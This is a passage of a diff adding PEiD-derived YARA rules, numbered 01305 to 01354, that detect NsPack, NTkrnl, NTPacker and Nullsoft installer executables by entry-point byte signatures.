+        $a = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01305_NsPack_1_4_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 1.4 by North Star (Liu Xing Ping)]"
+        ep_only = "false"
+    strings:
+        $a = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+    condition:
+        $a
+}
+
+rule PEiD_01306_NsPack_2_3____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 2.3 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01307_NsPack_2_9____North_Star_
+{
+    meta:
+        description = "[NsPack 2.9 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a
+}
+
+rule PEiD_01308_nSPack_2_x____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01}
+    condition:
+        $a
+}
+
+rule PEiD_01309_nSPack_2_x_3_x__NET____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01310_nSPack_2_x_3_x__NET___North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET-> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01311_NsPack_3_0____North_Star_
+{
+    meta:
+        description = "[NsPack 3.0 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a
+}
+
+rule PEiD_01312_NsPack_3_0_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.0 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 55 F9 FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 7D F9 FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 11 F9 FF FF 89 95}
+    condition:
+        $a
+}
+
+rule PEiD_01313_NsPack_3_1____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.1 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+rule PEiD_01314_NsPack_3_1____North_Star__h__
+{
+    meta:
+        description = "[NsPack 3.1 -> North Star (h)]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01315_NsPack_3_1_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.1 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01316_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_01317_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+    condition:
+        $a
+}
+
+rule PEiD_01318_NsPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01319_NSPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NSPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01320_NsPack_V1_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01321_nSpack_V1_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V1.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01322_NsPack_V1_4____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.4 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01323_nSpack_V2_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.3 -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+
+rule PEiD_01324_NsPack_v2_3____North_Star_
+{
+    meta:
+        description = "[NsPack v2.3 -> North Star]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+    condition:
+        $a
+}
+
+rule PEiD_01325_nSpack_V2_x____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.x -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01326_NsPack_V2_X____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V2.X -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {6E 73 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+rule PEiD_01327_NsPacK_V3_0____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.0 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01328_NsPacK_V3_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01329_NsPack_v3_1____North_Star_
+{
+    meta:
+        description = "[NsPack v3.1 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01330_NsPacK_V3_3____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01331_NsPacK_V3_4_V3_5____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.4-V3.5 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01332_NsPacK_V3_6____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.6 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01333_NsPacK_V3_7____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.7 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01334_NsPack_v3_7____North_Star__h__
+{
+    meta:
+        description = "[NsPack v3.7 -> North Star (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 8D ?? ?? ?? FF 80 39 01 0F 84 42 02 00 00 C6 01 01 8B C5 2B 85 ?? ?? ?? FF 89 85 ?? ?? ?? FF 01 85 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 01 06 55 56 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? ?? FF 85 C0 0F 84 69 03 00 00 89 85 ?? ?? ?? FF E8 00 00 00 00 5B B9 67 03 00 00 03 D9 50 53 E8 B0 02 00 00 5E 5D 8B 36 8B FD 03 BD ?? ?? ?? FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 34 01 13 8B 33 03 7B 04 57 51 53 FF B5 ?? ?? ?? FF FF B5 ?? ?? ?? FF 8B D6 8B CF 8B 85 ?? ?? ?? FF 05 AA 05 00 00 FF D0 5B 59 5F 83 F9 00 74 05 83 C3 08 EB C7 68 00 80 00 00 6A 00 FF B5 ?? ?? ?? FF FF 95 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01 00 74 14 8A 1A 38 1F 75 E9 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 EB 0A 8A 5F 04 86 C4 C1 C0 10 86 C4 2B C7 03 C6 89 07 83 C7 05 80 EB E8 8B C3 E2 C6 E8 3A 01 00 00 8D 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01335_NTkrnl_Secure_Suite____NTkrnl_Team__Blue__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl Team (Blue)]"
+        ep_only = "false"
+    strings:
+        $a = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+    condition:
+        $a
+}
+
+rule PEiD_01336_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_01337_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "false"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79}
+    condition:
+        $a
+}
+
+rule PEiD_01338_NTkrnl_Secure_Suite_0_1_0_15____NTkrnl_Software_
+{
+    meta:
+        description = "[NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01339_NTkrnl_Secure_Suite_V0_1____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01340_NTkrnl_Secure_Suite_V0_1_DLL____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01341_NTKrnlPacker____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[NTKrnlPacker -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01342_NTPacker_1_0____ErazerZ_
+{
+    meta:
+        description = "[NTPacker 1.0 -> ErazerZ]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+    condition:
+        $a
+}
+rule PEiD_01343_NTPacker_V2_X____ErazerZ___Sign_by_fly_
+{
+    meta:
+        description = "[NTPacker V2.X -> ErazerZ ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01344_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01345_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01346_Nullsoft_Install_System_2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01347_Nullsoft_Install_System_2_06_
+{
+    meta:
+        description = "[Nullsoft Install System 2.06]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 02 23 00 00 BE ?? ?? ?? ?? 56}
+    condition:
+        $a
+}
+
+rule PEiD_01348_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01349_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01350_Nullsoft_Install_System_2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01351_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01352_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+    condition:
+        $a
+}
+rule PEiD_01353_Nullsoft_Install_System_v1_98_
+{
+    meta:
+        description = "[Nullsoft Install System v1.98]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+    condition:
+        $a
+}
+
+rule PEiD_01354_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
